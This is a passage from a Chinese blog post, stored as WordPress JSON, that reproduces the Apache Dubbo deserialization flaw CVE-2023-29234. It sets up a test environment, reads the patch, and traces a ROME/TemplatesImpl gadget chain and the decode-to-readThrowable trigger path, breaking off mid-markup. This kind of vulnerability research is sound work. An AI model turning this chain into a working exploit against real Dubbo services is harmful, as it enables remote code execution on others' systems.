{"id":3943,"date":"2025-08-06T16:53:57","date_gmt":"2025-08-06T08:53:57","guid":{"rendered":"https:\/\/fushuling.com\/?p=3943"},"modified":"2025-08-06T19:27:31","modified_gmt":"2025-08-06T11:27:31","slug":"apache-dubbo%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%ef%bc%88cve-2023-29234%ef%bc%89","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/08\/06\/apache-dubbo%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%ef%bc%88cve-2023-29234%ef%bc%89\/","title":{"rendered":"Apache dubbo\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2023-29234\uff09"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u53d4\u53d4\u7684\u4efb\u52a1\uff0c\u590d\u73b0\u4e00\u624b <a href=\"https:\/\/github.com\/advisories\/GHSA-6x49-w35h-wqrj\">CVE-2023-29234<\/a><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u73af\u5883\u642d\u5efa<\/h1>\n\n\n\n<p>\u4ece\u5b98\u65b9\u7684\u6f0f\u6d1e\u516c\u544a\u53ef\u4ee5\u770b\u5230\uff0c\u5f71\u54cd\u7684\u7248\u672c\u662f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>&gt;= 3.1.0, &lt; 3.1.11<\/li>\n\n\n\n<li>&gt;= 3.2.0, &lt; 3.2.5<\/li>\n<\/ul>\n\n\n\n<p>\u7531\u4e8edubbo\u662f\u6700\u6f6e\u7684\u5fae\u670d\u52a1\u9879\u76ee\uff0c\u6240\u4ee5\u4f1a\u7528\u5230\u6700\u6f6e\u7684ZooKeeper\uff0c\u7531\u4e8e\u6211\u662fwindows\u73af\u5883\uff0c\u4e3b\u8981\u53c2\u8003\u7684\u6587\u7ae0\u662f<a href=\"https:\/\/www.cnblogs.com\/myitnews\/p\/13739514.html\">Windows\u5b89\u88c5Zookeeper<\/a><\/p>\n\n\n\n<p>\u9996\u5148\u53bb\u4e0b\u4e00\u4efd<a href=\"https:\/\/archive.apache.org\/dist\/zookeeper\/zookeeper-3.4.12\/zookeeper-3.4.12.tar.gz\">zookeeper<\/a>\uff0c\u89e3\u538b\u4e4b\u540e\u5c06conf\u76ee\u5f55\u4e0b\u7684zoo_sample.cfg\u6587\u4ef6\uff0c\u590d\u5236\u4e00\u4efd\u91cd\u547d\u540d\u4e3azoo.cfg\uff0c\u63a5\u7740\u5728zoo.cfg\u914d\u7f6e\u4e00\u4e0bdataDir\u548cdataLogDir\u8def\u5f84\uff08\u5bf9\u5e94\u7684\u65e5\u5fd7\u76ee\u5f55\u9700\u8981\u81ea\u5df1\u521b\u5efa\u4e00\u4e0b\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-000343-5-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-000343-5-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u542f\u52a8zookeeper\u53ea\u9700\u8981\u70b9\u4e00\u4e0b\u8fd9\u4e2azkServer.cmd\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-000545-5-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-000545-5-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u9700\u8981\u90e8\u7f72\u4e00\u4e0bdubbo\u73af\u5883\uff0c\u8fd9\u91cc\u6211\u9009\u62e9\u4f7f\u7528\u73b0\u6210\u7684\u9879\u76ee\uff1a<a href=\"https:\/\/github.com\/lz2y\/DubboPOC\">https:\/\/github.com\/lz2y\/DubboPOC<\/a>\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u9879\u76ee\u9ed8\u8ba4\u5bf9\u5e94\u7684dubbo\u7248\u672c\u6709\u70b9\u4f4e\uff0c\u8fd9\u91cc\u6211\u6539\u6210 3.1.5 \u4e86\uff0c\u6211\u672c\u5730\u7684jdk\u73af\u5883\u662f1.8_65\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001020-5-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001020-5-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662f\u6539\u5b8c\u4e4b\u540e\u4ed6\u8fd9\u4e2a\u73af\u5883\u56e0\u4e3a\u4e4b\u524d\u7684dubbo\u914d\u7f6e\u592a\u8001\u4e86\uff0c\u6ca1\u529e\u6cd5\u76f4\u63a5\u8fd0\u884c <code>DubboProvider<\/code>\uff0c\u6211\u8fd9\u91cc\u81ea\u5df1\u6539\u4e86\u5f88\u591a\u914d\u7f6e\u624d\u642d\u8d77\u6765\uff0c\u4f20\u5230 github \u4e0a\u4e86\uff0c\u6700\u540e\u53ea\u9700\u8981\u542f\u52a8\u4e00\u4e0b <code>DubboProvider<\/code> \u5373\u53ef\uff0c\u53ef\u4ee5\u770b\u5230\u65e5\u5fd7\u5df2\u7ecf\u663e\u793a <code>dubbo service started<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001211-5-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001211-5-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u6f0f\u6d1e\u5206\u6790<\/h1>\n\n\n\n<p>\u65e2\u7136\u662fCVE\uff0c\u90a3\u4e48\u5f53\u7136\u9700\u8981\u5148\u53bb\u770b\u770b<a href=\"https:\/\/github.com\/apache\/dubbo\/commit\/9ae97ea053dad758a0346a9acda4fbc8ea01429a\">commit<\/a>\u8bb0\u5f55\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001442-5-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-001442-5-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u53d8\u5316\u4e0d\u662f\u5f88\u5927\uff0c\u4e3b\u8981\u662f\u4ece<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>throw new IOException(\"Response data error, expect Throwable, but get \" + obj);<\/code><\/pre>\n\n\n\n<p>\u6539\u6210\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>throw new IOException(\"Response data error, expect Throwable, but get \" + obj.getClass());<\/code><\/pre>\n\n\n\n<p>\u4e8c\u8005\u6709\u4ec0\u4e48\u5dee\u522b\u5462\uff1f\u7ecf\u9a8c\u4e30\u5bcc\u7684\u5e08\u5085\u5e94\u8be5\u77e5\u9053\uff0c\u5982\u679c\u76f4\u63a5\u62fc\u63a5\u5bf9\u8c61 <code>obj<\/code> \u7684\u5b57\u7b26\u4e32\u8868\u793a\uff0c\u6700\u540e\u8f93\u51fa\u7684\u7ed3\u679c\u4f1a\u662f <code>obj.toString()<\/code> \u7684\u5185\u5bb9\uff0c\u8fd9\u53ef\u662f\u4e00\u4e2a<strong>\u8089\u773c\u53ef\u89c1\u7684\u5371\u9669\u7684\u64cd\u4f5c<\/strong>\uff0c\u800c <code>obj.getClass()<\/code> \u53ea\u662f\u8fd4\u56de\u5bf9\u5e94\u7684class\u3002<\/p>\n\n\n\n<p>\u5f53\u7136\uff0c\u6211\u4eec\u672c\u5730\u53ef\u4ee5\u5148\u8bd5\u8bd5\uff0c\u5199\u4e2a\u7b80\u5355\u7684\u6d4b\u8bd5\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class Test_tostring {\n        public static void main(String&#91;] args) {\n            Object obj = new Demo();\n            String result = \"The object is: \" + obj;\n            System.out.println(result);\n        }\n\n        static class Demo {\n            @Override\n            public String toString() {\n                return \"This is the Demo object!\";\n            }\n        }\n\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-002412-5-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-002412-5-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u5c31\u50cf\u6211\u4eec\u4e4b\u524d\u8bf4\u7684\u4e00\u6837\uff0c\u8fd9\u91cc\u4f1a\u76f4\u63a5\u8c03\u7528\u5bf9\u5e94\u5bf9\u8c61\u7684 <code>toString<\/code> \u65b9\u6cd5\uff0c\u5728\u6211\u5370\u8c61\u91cc\u6709\u975e\u5e38\u591a\u7684\u53cd\u5e8f\u5217\u5316\u94fe\u5b50\u4e2d\u6709 <code>toString<\/code>\uff0c\u5178\u578b\u7684\u6709rome\u3001Jackson\u7b49\u7b49\uff0c\u800c\u8fd9\u91cc\u7531\u4e8e\u94fe\u5b50\u76f4\u63a5\u4ece <code>toString<\/code> \u5f00\u59cb\uff08\u4e00\u822c\u7684\u94fe\u5b50\u90fd\u662f\u4ece <code>readObject<\/code> \u5f00\u59cb\u7684\uff09\uff0c\u5bf9\u4e8e\u653b\u51fb\u8005\u800c\u8a00\u5229\u7528\u786e\u5b9e\u975e\u5e38\u7684\u65b9\u4fbf\u3002<\/p>\n\n\n\n<p>\u770b\u4e86\u770b\u73af\u5883\u91cc\u6709rome\u7684\u4f9d\u8d56\uff0c\u90a3\u8fd8\u662f\u6253rome\u94fe\u5427\uff0crome\u94fe\u6709\u4e24\u79cd\u6253\u6cd5\uff0c\u4e00\u79cd\u662f\u6807\u51c6\u7684yso\u6253\u6cd5\uff0cpayload\u8f83\u957f\uff0c\u53e6\u4e00\u79cd\u662f\u8bb8\u5c11\u63d0\u8fc7\u7684 Hashtable \u94fe\uff0c\u53ef\u4ee5\u538b\u7f29payload\uff0c\u8fd9\u91cc\u6211\u4eec\u8fd8\u662f\u9009\u62e9\u6700\u7b80\u5355\u7684yso\u6253\u6cd5\u5427\uff0c\u6211\u81ea\u5df1\u5f88\u591a\u5e74\u524d\u590d\u73b0\u8fc7\uff0c\u8d34\u4e00\u4e2a\u94fe\u63a5\uff1a<a href=\"https:\/\/fushuling.com\/index.php\/2023\/01\/30\/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0\/\">https:\/\/fushuling.com\/index.php\/2023\/01\/30\/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0\/<\/a><\/p>\n\n\n\n<p>\u7531\u4e8e\u8fd9\u91cc\u7684\u5165\u53e3\u70b9\u662f <code>toString<\/code> \uff0cgadget\u8981\u7a0d\u5fae\u6539\u6539\uff0c\u5927\u6982\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ObjectBean.toString()\n    ToStringBean.toString()\n        TemplatesImpl.getOutputProperties()<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u7528 <code>ObjectBean.toString<\/code> \u89e6\u53d1 <code>ToStringBean.toString()<\/code>\uff0c\u800c <code>ToStringBean,toString<\/code> \u4f1a\u8c03\u7528 <code>getPropertyDescriptors<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling.com\/wp-content\/uploads\/2025\/08\/image-1024x646.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"646\" data-original=\"https:\/\/fushuling.com\/wp-content\/uploads\/2025\/08\/image-1024x646.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3946\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p> <code>getPropertyDescriptors<\/code> \u4f1a\u5206\u6790\u7c7b\u7684\u7ed3\u6784\uff0c\u627e\u51fa\u54ea\u4e9b\u65b9\u6cd5\u662f\u6807\u51c6\u7684 getter\/setter \u65b9\u6cd5\uff0c\u63a5\u7740\u5728&nbsp;<code>ToStringBean#toString<\/code>&nbsp;\u7684\u540e\u9762\u5c31\u7528invoke\u8fdb\u884c\u89e6\u53d1\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u4f20\u5165\u4e00\u4e2a<code>OutputProperties<\/code>\uff0c\u63a5\u7740 invoke \u5c31\u4f1a\u6267\u884c&nbsp;<code>getOutputProperties<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling.com\/wp-content\/uploads\/2025\/08\/image-1-1024x262.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"262\" data-original=\"https:\/\/fushuling.com\/wp-content\/uploads\/2025\/08\/image-1-1024x262.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3947\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u7684 Sink \u70b9\u5728 <code>TemplatesImpl<\/code>\uff0c<code>TemplatesImpl.getOutputProperties()<\/code>\u53ef\u4ee5\u7528\u4e8e\u52a0\u8f7d\u5b57\u8282\u7801\uff0c\u5927\u81f4\u7684\u8c03\u7528\u8fc7\u7a0b\u5982\u4e0b\uff0c\u4e5f\u7b97\u662f\u975e\u5e38\u7ecf\u5178\u4e86\uff0c CB1 \u548c JDK7u21\u539f\u751f\u94fe\u4e5f\u662f\u8fd9\u91cc\u4f5c\u4e3aSink\u70b9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl#getOutputProperties() -&gt; TemplatesImpl#newTransformer() -&gt; TemplatesImpl#getTransletInstance() -&gt; \nTemplatesImpl#defineTransletClasses()-&gt; TransletClassLoader#defineClass()<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u6309\u7406\u8bf4\u8fd9\u91cc\u5e94\u8be5\u80fd\u76f4\u63a5\u4ece <code>ToStringBean.toString()<\/code> \u5f00\u59cb\u89e6\u53d1\uff1f\u6bd5\u7adf\u5165\u53e3\u70b9\u90fd\u662f <code>toString<\/code> \u4e86\u3002<\/p>\n\n\n\n<p>\u94fe\u5b50\u627e\u5230\u4e86\uff0c\u73b0\u5728\u9700\u8981\u770b\u770b\u6f0f\u6d1e\u600e\u4e48\u89e6\u53d1\uff0c\u53cd\u5411\u5bfb\u627e\u4e86\u4e00\u4e0b\u8c03\u7528\u6808\uff0c\u5165\u53e3\u70b9\u5e94\u8be5\u662f\u8fd9\u91cc\u7684 <code>DecodeableRpcResult#decode <\/code>\uff0c\u56e0\u4e3a\u8fd9\u91cc\u7684\u8fd9\u91cc\u6709\u660e\u663e\u7684\u53ef\u63a7\u503c <code>in<\/code>\uff0c\u5b83\u7528\u4e8e\u4ece\u8f93\u5165\u6d41\u4e2d\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u7684\u5de5\u5177\uff08<code>ObjectInput<\/code> \u5b9e\u4f8b\uff09\uff0c\u800c\u4e0b\u9762\u7684 switch \u8bed\u53e5\u53ef\u4ee5\u89e6\u53d1 <code>this.handleException(in)<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-113135-6-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-113135-6-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8ddf\u8fdb <code>DecodeableRpcResult#handleException<\/code>\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u8c03\u7528\u4e86 <code>this.setException(in.readThrowable())<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-113642-6-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-113642-6-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:764px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u8fd9\u4e2a <code>readThrowable<\/code> \u5c31\u662f\u6211\u4eec\u7684\u76ee\u6807\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-114129-6-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-114129-6-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u603b\u7ed3\u4e00\u4e0b\uff0c\u8c03\u7528\u94fe\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DecodeableRpcResult#decode -> DecodeableRpcResult#handleException -> ObjectInput#readThrowable<\/code><\/pre>\n\n\n\n<p>\u73b0\u5728\u5f97\u60f3\u529e\u6cd5\u8c03\u7528 <code>DecodeableRpcResult#decode<\/code>\uff0c\u5728\u7f51\u4e0a\u627e\u5230\u4e86\u4e00\u7bc7\u8bb2 Dubbo \u7684\u6587\u7ae0\uff1a<a href=\"https:\/\/blog.csdn.net\/vivo_tech\/article\/details\/115633937\" target=\"_blank\" rel=\"noreferrer noopener\">Dubbo \u7f16\u89e3\u7801\u90a3\u4e9b\u4e8b_decodeablerpcresult-CSDN\u535a\u5ba2<\/a>&nbsp;\uff0c\u8fd9\u91cc\u63d0\u5230\u6d88\u8d39\u8005\u5728\u63a5\u6536\u54cd\u5e94\u65f6\u4f1a\u4f7f\u7528 <code>DecodeableRpcResult#decode<\/code> \u8fdb\u884c\u89e3\u7801\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-114708-6-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-114708-6-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u9700\u8981\u6784\u9020\u4e00\u4e2a Response \u4fe1\u606f\u4ea4\u7ed9\u670d\u52a1\u7aef\u89e3\u7801\uff0c\u53ea\u4e0d\u8fc7\u670d\u52a1\u7aef\u7684\u89e3\u7801\u903b\u8f91\u597d\u50cf\u548c\u90a3\u4e2a\u6587\u7ae0\u91cc\u63d0\u5230\u7684\u6709\u70b9\u4e0d\u4e00\u6837\uff0c\u627e\u4e86\u627e\u662f\u5728 <code>DubboCodec#decodeBody<\/code> \u5177\u4f53\u6267\u884c\u7684\u89e3\u7801\u64cd\u4f5c\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u5b83\u5148\u5b9a\u4e49\u4e86\u4e00\u4e2a <code>DecodeableRpcResult<\/code> \u7c7b\u578b\u7684 <code>result<\/code>\uff0c\u7136\u540e\u89e6\u53d1\u4e86 <code>result.decode()<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250806-115231-6-5.png'><img class=\"lazyload lazyload-style-1\" 